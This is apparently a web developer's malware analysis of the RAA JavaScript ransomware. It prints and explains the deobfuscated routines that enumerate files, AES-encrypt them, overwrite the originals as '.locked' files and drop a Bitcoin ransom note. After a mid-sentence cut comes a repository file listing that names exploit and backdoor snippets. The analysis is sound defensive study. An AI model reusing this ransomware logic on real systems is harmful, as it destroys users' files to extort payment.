    var wVgUUZeM = -1;
    do {
        EPtLPm += 1;
        var LeDOaP = LMz(kAgTDYi[0][EPtLPm]);
        var LeDOaP = LeDOaP.split(TBucypWw);
        kAgTDYi[1] = kAgTDYi[1].concat(LeDOaP);
        kAgTDYi[1] = OFTEml(kAgTDYi[1]);
        var aZKH = HHiAp(kAgTDYi[0][EPtLPm]);
        var aZKH = aZKH.split(TBucypWw);
        kAgTDYi[0] = kAgTDYi[0].concat(aZKH);
        kAgTDYi[0] = OFTEml(kAgTDYi[0]);
    } while (EPtLPm <= kAgTDYi[0].length - 2);
    return (kAgTDYi[1]);
}

```

In function above, there's interesting way how to define counter for _do...while_ loop. **EPtLPm** starts not from 0 or 1, but from -1. In loop condition, value of **EPtLPm** is compared with length of **kAgTDYi** array minus 2. I suppose this is some kind of obfuscation _do...while_ loop, but I am only guessing here.

**LMz()** function is executed for every drive (drives are stored in element of index 0 and this element is also an array - that is why 
**kAgTDYi[0][EPtLPm]** is used)

**LMz()** contains a lot of _if..else if_ conditions. The only purpose of this function is to iterate over all files on drive and create one, long string with filenames of particular types (images, MS Office documents, PDF files, Zip archives, Photoshop files - do you see variables initialized by strings containing some popular files extensions in function body?). Those filenames are concatenated together with **TBucypWw** key as separator, which is then used to split this string into array in the next line in **nXmsNjMpKTv()**.

Extensions such as _.locked_ are omitted.

Next, as new element of **kAgTDYi** a new array is build from all previously generated arrays with filenames (in other words: _concat()_ joins array with filenames extracted from actual drive with current value of **kAgTDYi[1]**).

Next, quick cleanup is performed on those list - all empty entries are removed:

```javascript
function OFTEml(array_to_clean) {
    var pjvsEz = new Array();
    for (var i = 0; i < array_to_clean.length; i++) {
        if (array_to_clean[i]) {
            pjvsEz.push(array_to_clean[i]);
        }
    }
    return pjvsEz;
}
```

Function **HHiAp()** performs similar operation like **LMz()**, but with folder names rather than files. It creates and returns a list of all folders on each drive, which names are not in defined set. In other way - encryption does not include system folders like _WINDOWS_, _RECYCLER_, _Program Files_, _Temp_, _AppData_ and similar.

Finally, **nXmsNjMpKTv()** returns an array contains all filenames from each drive of an infected machine.


--

### Last step - encryption of files

Function **KWgwJwOlqJcs()** finishes whole process. This function is called in the loop in **PLnEyqCPKHV()** (one iteration per each file) with file name passed as an argument.

**KWgwJwOlqJcs()** contains a couple of private scoped functions with the one responsible for encryption:

```javascript
function ukBnxEOtjm(EQs) {
    var HZtSmFNRdJM = HZtSmFNRdJM_data[1];
    var gmCRXSMsLyM = qPCIyff[1];
    EQs = CryptoJS.AES.encrypt(EQs, HZtSmFNRdJM, {gmCRXSMsLyM: gmCRXSMsLyM});
    return EQs;
}
```

To this function goes every single file which RAA wants to encrypt.

But before any file goes through those four lines, a lot of other things is happening. Let's go through them step by step.

First, two variables are initialized with values returned from **rStinsVp()** function:

```javascript
var HZtSmFNRdJM_data = rStinsVp(VKw);
var qPCIyff = rStinsVp(VKw);
```

**rStinsVp()** function takes one argument, **VKw**, which is one of two values returned from remote server (see 'Connect to the server
' part of this writeup with **get_HZtSmFNRdJM()** function description above).


```javascript
function rStinsVp(rand) {
    var eqQu = [];
    var EPtLPmand = -1;
    do {
        EPtLPmand += 1;
        eqQu[EPtLPmand] = Math.floor((Math.random() * 2000) + 1);
        if (eqQu[EPtLPmand] < 10) {
            eqQu[EPtLPmand] = "000" + eqQu[EPtLPmand];
        } else if (eqQu[EPtLPmand] >= 10 && eqQu[EPtLPmand] < 100) {
            eqQu[EPtLPmand] = "00" + eqQu[EPtLPmand];
        } else if (eqQu[EPtLPmand] >= 100 && eqQu[EPtLPmand] < 1000) {
            eqQu[EPtLPmand] = "0" + eqQu[EPtLPmand];
        } else {
            eqQu[EPtLPmand] = eqQu[EPtLPmand];
        }
    } while (eqQu.length < 32);
    var xjLCtcIO = "";
    var EPtLPmand2 = -1;
    var vPdyagHuFMMj = [];
    do {
        EPtLPmand2 += 1;
        vPdyagHuFMMj[EPtLPmand2] = parseInt(eqQu[EPtLPmand2]);
        xjLCtcIO = xjLCtcIO + rand.charAt(vPdyagHuFMMj[EPtLPmand2]);
    } while (xjLCtcIO.length < 32);
    var gieJISwveNlD = [];
    gieJISwveNlD[0] = eqQu;
    gieJISwveNlD[1] = xjLCtcIO;
    return gieJISwveNlD;
}
```

Logic of this function is quite simple: it returns an array with two elements: first is another array with 32 4-digits numbers and second one is 32 characters length string.

I ran this function and as argument I've passed some random MD5 hash. Results were similar for any other strings as well:

```javascript
// rStinsVp.js file content
console.log(rStinsVp("c2378574f4fa4a4353d1ab7e2961fd88"));
```

```
$ node rStinsVp.js
[ [ '0981',
    '0829',
    '0272',
    '0715',
    '0045',
    '0193',
    '0881',
    1361,
    1517,
    '0957',
    '0546',
    '0621',
    '0932',
    1659,
    1102,
    1861,
    '0339',
    1688,
    '0941',
    '0756',
    1727,
    '0257',
    '0565',
    1963,
    '0912',
    '0333',
    '0269',
    1095,
    1191,
    1962,
    '0514',
    '0939' ],
  'cccccccccccccccccccccccccccccccc' ]
```
In real execution **HZtSmFNRdJM_data** and **qPCIyff** should contains some similar results as above. As I mentioned earlier - I can't check this as there's no way to get real values from remote server.


Next call is **udpIHxNm()** function, which takes as an argument name of the file to encrypt (from list of files generated in function **nXmsNjMpKTv()**; each file is passed here through _do..while_ loop in **PLnEyqCPKHV()** to the function **KWgwJwOlqJcs()** called per each file name).


```javascript
function udpIHxNm(IMhTname) {
    var SlSPWu = WScript.CreateObject("ADODB.Stream");
    SlSPWu.CharSet = '437';
    SlSPWu.Open();
    SlSPWu.LoadFromFile(IMhTname);
    var hXpHGpZ = [];
    hXpHGpZ[0] = [];
    hXpHGpZ[1] = [];
    var PRuJZyAvfeza = SlSPWu.Size;
    if (PRuJZyAvfeza > 6122 && PRuJZyAvfeza < 5000000) {
        var GinRqOjln = OQlYdejWlC(2000, 2040);
        hXpHGpZ[0][0] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        var kWsAN = Math.floor(PRuJZyAvfeza / 2) - 3060;
        hXpHGpZ[1][0] = SlSPWu.ReadText(kWsAN) + "RAA-SEP";
        hXpHGpZ[0][1] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        var iPZDBPG = PRuJZyAvfeza - (SlSPWu.Position + GinRqOjln);
        hXpHGpZ[1][1] = SlSPWu.ReadText(iPZDBPG) + "RAA-SEP";
        hXpHGpZ[0][2] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    } else if (PRuJZyAvfeza > 5000000 && PRuJZyAvfeza <= 500000000) {
        qqJ(IMhTname)
    } else if (PRuJZyAvfeza <= 6122) {
        hXpHGpZ[0][0] = SlSPWu.ReadText;
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    } else {
        hXpHGpZ = 0;
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    }
    return 0;
}

udpIHxNm(IMhTname);
```

Again, let's analyze this code line by line, because some interesting things are going on here.

First, Windows Script object to manipulate file is initialized and file is loaded and its size is checked:

```javascript
var SlSPWu = WScript.CreateObject("ADODB.Stream");
SlSPWu.CharSet = '437';
SlSPWu.Open();
SlSPWu.LoadFromFile(IMhTname);
var hXpHGpZ = [];
hXpHGpZ[0] = [];
hXpHGpZ[1] = [];
var PRuJZyAvfeza = SlSPWu.Size;

```

Based on file size, different next step is being performed:

```javascript
if (PRuJZyAvfeza > 6122 && PRuJZyAvfeza < 5000000) {
    var GinRqOjln = OQlYdejWlC(2000, 2040);
    hXpHGpZ[0][0] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
    var kWsAN = Math.floor(PRuJZyAvfeza / 2) - 3060;
    hXpHGpZ[1][0] = SlSPWu.ReadText(kWsAN) + "RAA-SEP";
    hXpHGpZ[0][1] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
    var iPZDBPG = PRuJZyAvfeza - (SlSPWu.Position + GinRqOjln);
    hXpHGpZ[1][1] = SlSPWu.ReadText(iPZDBPG) + "RAA-SEP";
    hXpHGpZ[0][2] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
    SlSPWu.Close;
    jMvqmKSQu(hXpHGpZ);
} else if (PRuJZyAvfeza > 5000000 && PRuJZyAvfeza <= 500000000) {
    qqJ(IMhTname)
} else if (PRuJZyAvfeza <= 6122) {
    hXpHGpZ[0][0] = SlSPWu.ReadText;
    SlSPWu.Close;
    jMvqmKSQu(hXpHGpZ);
} else {
    hXpHGpZ = 0;
    SlSPWu.Close;
    jMvqmKSQu(hXpHGpZ);
}
```
* if file size is between 6122 bytes and 4,76 MB (exactly 4882 kB) - then **hXpHGpZ** array is created, and some random values with "RAA-SEP" string appended to them are stored in this array. Next, this array is passed as an argument to **jMvqmKSQu()** function.

* if file size is more than 4,76 MB and less than 476 MB - **qqJ()** function is called with file name as an argument

* otherwise, if file size is less than or equal 6122 bytes - file content read in line:

```
hXpHGpZ[0][0] = SlSPWu.ReadText;
``` 

and **hXpHGpZ** array is passed to **jMvqmKSQu()** function. 

Files bigger than 476 MB are ommited.

Let's see what **jMvqmKSQu()** and **qqJ()** called here are doing:

```javascript
function jMvqmKSQu(hXpHGpZ) {
    if (hXpHGpZ[1].length != 0) {
        var DftonCbPCyQR = hXpHGpZ[0].join("");
        DftonCbPCyQR = ukBnxEOtjm(DftonCbPCyQR);
        DftonCbPCyQR = DftonCbPCyQR + "=END=OF=HEADER=";
        DftonCbPCyQR = DftonCbPCyQR + hXpHGpZ[1].join("") + "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=1";
        omaDplUyHou(DftonCbPCyQR);
    } else if (hXpHGpZ == 0) {
        var DftonCbPCyQR = 0;
        omaDplUyHou(DftonCbPCyQR);
    } else {
        var DftonCbPCyQR = hXpHGpZ[0][0];
        DftonCbPCyQR = ukBnxEOtjm(DftonCbPCyQR);
        DftonCbPCyQR = DftonCbPCyQR + "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=2";
        omaDplUyHou(DftonCbPCyQR);
    }
    return DftonCbPCyQR;
}
```

Depends on content of **hXpHGpZ**, which can be two dimensional array or 0, different actions are taken. Anyway, finally file is being encrypted in function **ukBnxEOtjm()** and after that **omaDplUyHou()** function is called:

```javascript
function omaDplUyHou(lsYZxzUm) {
    var IxC = new ActiveXObject('ADODB.Stream');
    IxC.Type = 2;
    IxC.Charset = "437";
    IxC.Open();
    if (lsYZxzUm != 0) {
        IxC.WriteText(lsYZxzUm);
        IxC.SaveToFile(IMhTname, 2);
        IxC.Close();
        var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
        DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked");
    } else {
        IxC.Close();
    }
    return 0;
}
```

This function takes encrypted file, creates new _ADODB.Stream_ object and uses it to save that file into new one, adding extension _.locked_ at the end of original name.

```javascript
var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked");
```
Method _MoveFile_ (https://msdn.microsoft.com/en-us/library/2wcf3ba6(v=vs.84).aspx) is responsible for the worst part of whole operation: it takes two arguments, source name and destination name,
and overrides original, not encrypted file name with the new, encrypted version.

Second function used in encryption process is 

```javascript
function qqJ(IMhTname) {
    var SlSPWu = WScript.CreateObject("ADODB.Stream");
    SlSPWu.CharSet = '437';
    SlSPWu.Open();
    SlSPWu.LoadFromFile(IMhTname);
    var FhDYKCTNZFu = WScript.CreateObject("ADODB.Stream");
    FhDYKCTNZFu.CharSet = '437';
    FhDYKCTNZFu.Open();
    var GinRqOjln = OQlYdejWlC(90000, 125000);
    var PRuJZyAvfeza = SlSPWu.Size;
    var VVe = SlSPWu.ReadText(GinRqOjln);
    var cBKyRXWGPWBs = ukBnxEOtjm(VVe);
    cBKyRXWGPWBs = String(cBKyRXWGPWBs);
    var rMkTeqZm = cBKyRXWGPWBs.length;
    SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
    var ECgBWYtoib = SlSPWu.ReadText(GinRqOjln);
    var AblANuF = ukBnxEOtjm(ECgBWYtoib);
    AblANuF = String(AblANuF);
    var QfYmGGcYOFB = AblANuF.length;
    var IJDZ = ",";
    SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
    SlSPWu.SetEOS;
    SlSPWu.WriteText(cBKyRXWGPWBs);
    SlSPWu.WriteText(AblANuF);
    SlSPWu.WriteText(rMkTeqZm);
    SlSPWu.WriteText(IJDZ);
    SlSPWu.WriteText(QfYmGGcYOFB);
    SlSPWu.WriteText(IJDZ);
    var ids = "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=3";
    SlSPWu.WriteText(ids);
    SlSPWu.Position = GinRqOjln;
    SlSPWu.CopyTo(FhDYKCTNZFu);
    SlSPWu.Close;
    FhDYKCTNZFu.SaveToFile(IMhTname, 2);
    FhDYKCTNZFu.Close;
    var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
    DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked");
    return 0;
}
```

This function, as mentioned earlier, is responsible for encryption process of files bigger than 4,76 MB and smaller than 476 MB.

It works little different than previous one. First of all, it creates two Windows Script _ADODB.Stream_ objects and content of file to encrypt is loaded into **SlSPWu** with _LoadFromFile()_ method:

```javascript
var SlSPWu = WScript.CreateObject("ADODB.Stream");
SlSPWu.CharSet = '437';
SlSPWu.Open();
SlSPWu.LoadFromFile(IMhTname);
var FhDYKCTNZFu = WScript.CreateObject("ADODB.Stream");
FhDYKCTNZFu.CharSet = '437';
FhDYKCTNZFu.Open();
```

Next, file is being encrypted in chunks:

```javascript
var GinRqOjln = OQlYdejWlC(90000, 125000);
var PRuJZyAvfeza = SlSPWu.Size;
var VVe = SlSPWu.ReadText(GinRqOjln);
var cBKyRXWGPWBs = ukBnxEOtjm(VVe);
cBKyRXWGPWBs = String(cBKyRXWGPWBs);
var rMkTeqZm = cBKyRXWGPWBs.length;
SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
var ECgBWYtoib = SlSPWu.ReadText(GinRqOjln);
var AblANuF = ukBnxEOtjm(ECgBWYtoib);
AblANuF = String(AblANuF);
var QfYmGGcYOFB = AblANuF.length;
var IJDZ = ",";
SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
SlSPWu.SetEOS;
```

Chunk size (**GinRqOjln**) is calculated from byte 0 to randomly selected byte between 90000 and 125000. Each chunk is encrypted result of encryption is assigned to a string by calling _String_ constructor directly on this result, eg. ```cBKyRXWGPWBs = String(cBKyRXWGPWBs);```

Everything, together with some additional information, like length of last string, is then write to **SlSPWu** stream:

```javascript
SlSPWu.WriteText(cBKyRXWGPWBs);
SlSPWu.WriteText(AblANuF);
SlSPWu.WriteText(rMkTeqZm);
SlSPWu.WriteText(IJDZ);
SlSPWu.WriteText(QfYmGGcYOFB);
SlSPWu.WriteText(IJDZ);
var ids = "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=3";
SlSPWu.WriteText(ids);
SlSPWu.Position = GinRqOjln;
```

Finally, content of **SlSPWu** stream is copied into **FhDYKCTNZFu**, and the same operation as in **omaDplUyHou()** is performed: change file name to the one with _.locked_ extension and then override original file with encrypted version.

--

### End of the process

When all files are encrypted, there are couple of lines left to execute in RAA.

First, Windows Registry is updated with entry that RAA finished its dirty job:

```javascript
var FYSAj = WScript.CreateObject("WScript.Shell");
FYSAj.RegWrite("HKCU\\RAA\\Raa-fnl\\", "beenFinished", "REG_SZ");
```

Next, _.rtf_ file with information message is copied into Desktop and opened with Wordpad:

```javascript
var IvTV = "C:\\" + "!!!README!!!" + TBucypWw + ".rtf";
var xfejSVYO = new ActiveXObject("Scripting.FileSystemObject");
var Nnz = FYSAj.SpecialFolders("Desktop");
Nnz = Nnz += "\\";
xfejSVYO.CopyFile(IvTV, Nnz);
var rdm_fl = "wordpad.exe" + " " + IvTV;
FYSAj.Run(rdm_fl, 3);
return 0;
```

This file contains information about where and how affected user can contact to get decryption key, after paying some amount of money, in Bitcoins.


## Summary

As a web developer, I used to write JavaScript code for a little bit different purposes. AngularJS, React, Single Page Applications, Node and server side JS as well - this stuff. 

But RAA confirms that JavaScript can be used for, literally, everything. Even for creating the worst nightmare of each user, which is ransomware. 

And not only RAA uses JavaScript for such things. @hasherezade recently described in details Locky ransomware downloader script, which is also created in JavaScript (see https://blog.malwarebytes.com/threat-analysis/2016/07/from-locky-with-love-reading-malicious-attachments/ )

Also, obfuscation of JavaScript code in similar malware is insane. In "Return of L
Download .txt
gitextract_qrnb0wck/

├── .gitignore
├── README.md
├── VACS-draft.md
├── burp-chromium-setup/
│   └── README.md
├── hidden_directories_leaks/
│   └── README.md
├── how_to_deal_with_dupes/
│   └── hot_to_deal_with_dupes.md
├── javascript-malware-obfuscation/
│   ├── Simple_JavaScript_malware_code_obfuscation_examples.md
│   ├── do_not_run.js
│   └── do_not_run_deobfuscated.js
├── npm-static-servers-most-common-issues/
│   └── npm-static-servers-most-common-issues.md
├── params.json
├── pwnlab-walkthrough-INCOMLETE.txt
├── raa-ransomware-analysis/
│   ├── README.md
│   ├── execution-flow-chart.txt
│   ├── extracted/
│   │   ├── dec_cmd_decrypted.js
│   │   ├── extracted_rtf.rtf
│   │   ├── file01
│   │   └── file01_part.xml
│   └── work/
│       ├── test.js
│       ├── tmp.js
│       ├── tmp2.js
│       └── tmp3.js
├── simple-markdown-playground/
│   ├── react-dom.js
│   ├── react.html
│   ├── react.js
│   └── simple-markdown-modified.js
└── snippets/
    ├── from_shell_injection_to_root.txt
    ├── mysql_loadintooutfile_backdoor.txt
    └── rpc.txt
Download .txt
SYMBOL INDEX (408 symbols across 7 files)

FILE: javascript-malware-obfuscation/do_not_run.js
  function cicuza (line 33) | function cicuza(syhri) {
  function nilse (line 43) | function nilse(tefkysab) {

FILE: javascript-malware-obfuscation/do_not_run_deobfuscated.js
  function cicuza (line 31) | function cicuza(val) {
  function nilse (line 39) | function nilse(tefkysab) {

FILE: raa-ransomware-analysis/work/tmp.js
  function p (line 181) | function p(b, n, a, c, e, j, k) {
  function d (line 186) | function d(b, n, a, c, e, j, k) {
  function l (line 191) | function l(b, n, a, c, e, j, k) {
  function s (line 196) | function s(b, n, a, c, e, j, k) {
  function VGCDtihB (line 500) | function VGCDtihB() {

FILE: raa-ransomware-analysis/work/tmp2.js
  function KWgwJwOlqJcs (line 4) | function KWgwJwOlqJcs(IMhTname) {

FILE: raa-ransomware-analysis/work/tmp3.js
  function rStinsVp (line 4) | function rStinsVp(rand) {

FILE: simple-markdown-playground/react-dom.js
  function s (line 32) | function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&re...
  function isPresto (line 173) | function isPresto() {
  function isKeypressCommand (line 221) | function isKeypressCommand(nativeEvent) {
  function getCompositionEventType (line 233) | function getCompositionEventType(topLevelType) {
  function isFallbackCompositionStart (line 252) | function isFallbackCompositionStart(topLevelType, nativeEvent) {
  function isFallbackCompositionEnd (line 263) | function isFallbackCompositionEnd(topLevelType, nativeEvent) {
  function getDataFromCustomEvent (line 291) | function getDataFromCustomEvent(nativeEvent) {
  function extractCompositionEvent (line 305) | function extractCompositionEvent(topLevelType, targetInst, nativeEvent, ...
  function getNativeBeforeInputChars (line 357) | function getNativeBeforeInputChars(topLevelType, nativeEvent) {
  function getFallbackBeforeInputChars (line 411) | function getFallbackBeforeInputChars(topLevelType, nativeEvent) {
  function extractBeforeInputEvent (line 465) | function extractBeforeInputEvent(topLevelType, targetInst, nativeEvent, ...
  function prefixKey (line 582) | function prefixKey(prefix, key) {
  function _classCallCheck (line 899) | function _classCallCheck(instance, Constructor) { if (!(instance instanc...
  function CallbackQueue (line 918) | function CallbackQueue(arg) {
  function createAndAccumulateChangeEvent (line 1037) | function createAndAccumulateChangeEvent(inst, nativeEvent, target) {
  function shouldUseChangeEvent (line 1052) | function shouldUseChangeEvent(elem) {
  function manualDispatchChangeEvent (line 1063) | function manualDispatchChangeEvent(nativeEvent) {
  function runEventInBatch (line 1080) | function runEventInBatch(event) {
  function startWatchingForChangeEventIE8 (line 1085) | function startWatchingForChangeEventIE8(target, targetInst) {
  function stopWatchingForChangeEventIE8 (line 1091) | function stopWatchingForChangeEventIE8() {
  function getInstIfValueChanged (line 1100) | function getInstIfValueChanged(targetInst, nativeEvent) {
  function getTargetInstForChangeEvent (line 1109) | function getTargetInstForChangeEvent(topLevelType, targetInst) {
  function handleEventsForChangeEventIE8 (line 1115) | function handleEventsForChangeEventIE8(topLevelType, target, targetInst) {
  function startWatchingForValueChange (line 1142) | function startWatchingForValueChange(target, targetInst) {
  function stopWatchingForValueChange (line 1152) | function stopWatchingForValueChange() {
  function handlePropertyChange (line 1166) | function handlePropertyChange(nativeEvent) {
  function handleEventsForInputEventPolyfill (line 1175) | function handleEventsForInputEventPolyfill(topLevelType, target, targetI...
  function getTargetInstForInputEventPolyfill (line 1198) | function getTargetInstForInputEventPolyfill(topLevelType, targetInst, na...
  function shouldUseClickEvent (line 1217) | function shouldUseClickEvent(elem) {
  function getTargetInstForClickEvent (line 1225) | function getTargetInstForClickEvent(topLevelType, targetInst, nativeEven...
  function getTargetInstForInputOrChangeEvent (line 1231) | function getTargetInstForInputOrChangeEvent(topLevelType, targetInst, na...
  function handleControlledInputBlur (line 1237) | function handleControlledInputBlur(inst, node) {
  function getNodeAfter (line 1336) | function getNodeAfter(parentNode, node) {
  function insertLazyTreeChildAt (line 1360) | function insertLazyTreeChildAt(parentNode, childTree, referenceNode) {
  function moveChild (line 1364) | function moveChild(parentNode, childNode, referenceNode) {
  function removeChild (line 1372) | function removeChild(parentNode, childNode) {
  function moveDelimitedText (line 1382) | function moveDelimitedText(parentNode, openingComment, closingComment, r...
  function removeDelimitedText (line 1394) | function removeDelimitedText(parentNode, startNode, closingComment) {
  function replaceDelimitedText (line 1406) | function replaceDelimitedText(openingComment, closingComment, stringText) {
  function insertTreeChildren (line 1575) | function insertTreeChildren(tree) {
  function replaceChildWithTree (line 1608) | function replaceChildWithTree(oldNode, newTree) {
  function queueChild (line 1613) | function queueChild(parentTree, childTree) {
  function queueHTML (line 1621) | function queueHTML(tree, html) {
  function queueText (line 1629) | function queueText(tree, text) {
  function toString (line 1637) | function toString() {
  function DOMLazyTree (line 1641) | function DOMLazyTree(node) {
  function checkMask (line 1695) | function checkMask(value, bitmask) {
  function isAttributeNameSafe (line 1911) | function isAttributeNameSafe(attributeName) {
  function shouldIgnoreValue (line 1927) | function shouldIgnoreValue(propertyInfo, value) {
  function isInteractive (line 2447) | function isInteractive(tag) {
  function shouldPreventMouseEvent (line 2451) | function shouldPreventMouseEvent(name, type, props) {
  function recomputePluginOrdering (line 2691) | function recomputePluginOrdering() {
  function publishEventForPlugin (line 2720) | function publishEventForPlugin(dispatchConfig, pluginModule, eventName) {
  function publishRegistrationName (line 2748) | function publishRegistrationName(registrationName, pluginModule, eventNa...
  function isEndish (line 2956) | function isEndish(topLevelType) {
  function isMoveish (line 2960) | function isMoveish(topLevelType) {
  function isStartish (line 2963) | function isStartish(topLevelType) {
  function executeDispatch (line 2990) | function executeDispatch(event, simulated, listener, inst) {
  function executeDispatchesInOrder (line 3004) | function executeDispatchesInOrder(event, simulated) {
  function executeDispatchesInOrderStopAtTrueImpl (line 3032) | function executeDispatchesInOrderStopAtTrueImpl(event) {
  function executeDispatchesInOrderStopAtTrue (line 3059) | function executeDispatchesInOrderStopAtTrue(event) {
  function executeDirectDispatch (line 3075) | function executeDirectDispatch(event) {
  function hasDispatches (line 3094) | function hasDispatches(event) {
  function listenerAtPhase (line 3163) | function listenerAtPhase(inst, event, propagationPhase) {
  function accumulateDirectionalDispatches (line 3174) | function accumulateDirectionalDispatches(inst, phase, event) {
  function accumulateTwoPhaseDispatchesSingle (line 3192) | function accumulateTwoPhaseDispatchesSingle(event) {
  function accumulateTwoPhaseDispatchesSingleSkipTarget (line 3201) | function accumulateTwoPhaseDispatchesSingleSkipTarget(event) {
  function accumulateDispatches (line 3214) | function accumulateDispatches(inst, ignoredDirection, event) {
  function accumulateDirectDispatchesSingle (line 3230) | function accumulateDirectDispatchesSingle(event) {
  function accumulateTwoPhaseDispatches (line 3236) | function accumulateTwoPhaseDispatches(events) {
  function accumulateTwoPhaseDispatchesSkipTarget (line 3240) | function accumulateTwoPhaseDispatchesSkipTarget(events) {
  function accumulateEnterLeaveDispatches (line 3244) | function accumulateEnterLeaveDispatches(leave, enter, from, to) {
  function accumulateDirectDispatches (line 3248) | function accumulateDirectDispatches(events) {
  function FallbackCompositionState (line 3301) | function FallbackCompositionState(root) {
  function escape (line 3623) | function escape(key) {
  function unescape (line 3642) | function unescape(key) {
  function _assertSingleLink (line 3695) | function _assertSingleLink(inputProps) {
  function _assertValueLink (line 3698) | function _assertValueLink(inputProps) {
  function _assertCheckedLink (line 3703) | function _assertCheckedLink(inputProps) {
  function getDeclarationErrorAddendum (line 3725) | function getDeclarationErrorAddendum(owner) {
  function getListeningForDocument (line 4068) | function getListeningForDocument(mountAt) {
  function instantiateChild (line 4268) | function instantiateChild(childInstances, child, name, selfDebugID) {
  function StatelessComponent (line 4503) | function StatelessComponent(Component) {}
  function warnIfInvalidElement (line 4511) | function warnIfInvalidElement(Component, element) {
  function shouldConstruct (line 4518) | function shouldConstruct(Component) {
  function isPureComponent (line 4522) | function isPureComponent(Component) {
  function measureLifeCyclePerf (line 4527) | function measureLifeCyclePerf(fn, debugID, timerType) {
  function getDeclarationErrorAddendum (line 5539) | function getDeclarationErrorAddendum(internalInstance) {
  function friendlyStringify (line 5552) | function friendlyStringify(obj) {
  function checkAndWarnForMutatedStyle (line 5578) | function checkAndWarnForMutatedStyle(style1, style2, component) {
  function assertValidProps (line 5608) | function assertValidProps(component, props) {
  function enqueuePutListener (line 5628) | function enqueuePutListener(inst, registrationName, listener, transactio...
  function putListener (line 5648) | function putListener() {
  function inputPostMount (line 5653) | function inputPostMount() {
  function textareaPostMount (line 5658) | function textareaPostMount() {
  function optionPostMount (line 5663) | function optionPostMount() {
  function trackInputValue (line 5725) | function trackInputValue() {
  function trapBubbledEventsLocal (line 5729) | function trapBubbledEventsLocal() {
  function postUpdateSelectWrapper (line 5769) | function postUpdateSelectWrapper() {
  function validateDangerousTag (line 5816) | function validateDangerousTag(tag) {
  function isCustomComponent (line 5823) | function isCustomComponent(tagName, props) {
  function ReactDOMComponent (line 5843) | function ReactDOMComponent(element) {
  function shouldPrecacheNode (line 6529) | function shouldPrecacheNode(node, nodeID) {
  function getRenderedHostOrTextFromComponent (line 6540) | function getRenderedHostOrTextFromComponent(component) {
  function precacheNode (line 6552) | function precacheNode(inst, node) {
  function uncacheNode (line 6558) | function uncacheNode(inst) {
  function precacheChildNodes (line 6580) | function precacheChildNodes(inst, node) {
  function getClosestInstanceFromNode (line 6613) | function getClosestInstanceFromNode(node) {
  function getInstanceFromNode (line 6647) | function getInstanceFromNode(node) {
  function getNodeFromInstance (line 6660) | function getNodeFromInstance(inst) {
  function ReactDOMContainerInfo (line 6713) | function ReactDOMContainerInfo(topLevelWrapper, node) {
  function forceUpdateIfMounted (line 6872) | function forceUpdateIfMounted() {
  function isControlled (line 6879) | function isControlled(props) {
  function _handleChange (line 7079) | function _handleChange(event) {
  function validateProperty (line 7149) | function validateProperty(tagName, name, debugID) {
  function warnInvalidARIAProps (line 7175) | function warnInvalidARIAProps(debugID, element) {
  function handleElement (line 7196) | function handleElement(debugID, element) {
  function handleElement (line 7240) | function handleElement(debugID, element) {
  function flattenChildren (line 7286) | function flattenChildren(children) {
  function updateOptionsIfPendingUpdateAndMounted (line 7410) | function updateOptionsIfPendingUpdateAndMounted() {
  function getDeclarationErrorAddendum (line 7423) | function getDeclarationErrorAddendum(owner) {
  function checkSelectPropTypes (line 7439) | function checkSelectPropTypes(inst, props) {
  function updateOptions (line 7468) | function updateOptions(inst, multiple, propValue) {
  function _handleChange (line 7574) | function _handleChange(event) {
  function isCollapsed (line 7609) | function isCollapsed(anchorNode, anchorOffset, focusNode, focusOffset) {
  function getIEOffsets (line 7627) | function getIEOffsets(node) {
  function getModernOffsets (line 7650) | function getModernOffsets(node) {
  function setIEOffsets (line 7712) | function setIEOffsets(node, offsets) {
  function setModernOffsets (line 7746) | function setModernOffsets(node, offsets) {
  function forceUpdateIfMounted (line 7986) | function forceUpdateIfMounted() {
  function _handleChange (line 8112) | function _handleChange(event) {
  function getLowestCommonAncestor (line 8141) | function getLowestCommonAncestor(instA, instB) {
  function isAncestor (line 8181) | function isAncestor(instA, instB) {
  function getParentInstance (line 8197) | function getParentInstance(inst) {
  function traverseTwoPhase (line 8206) | function traverseTwoPhase(inst, fn, arg) {
  function traverseEnterLeave (line 8228) | function traverseEnterLeave(from, to, fn, argFrom, argTo) {
  function handleElement (line 8382) | function handleElement(debugID, element) {
  function callHook (line 8427) | function callHook(event, fn, context, arg1, arg2, arg3, arg4, arg5) {
  function emitEvent (line 8436) | function emitEvent(event, arg1, arg2, arg3, arg4, arg5) {
  function clearHistory (line 8459) | function clearHistory() {
  function getTreeSnapshot (line 8464) | function getTreeSnapshot(registeredIDs) {
  function resetMeasurements (line 8481) | function resetMeasurements() {
  function checkDebugID (line 8508) | function checkDebugID(debugID) {
  function beginLifeCycleTimer (line 8519) | function beginLifeCycleTimer(debugID, timerType) {
  function endLifeCycleTimer (line 8533) | function endLifeCycleTimer(debugID, timerType) {
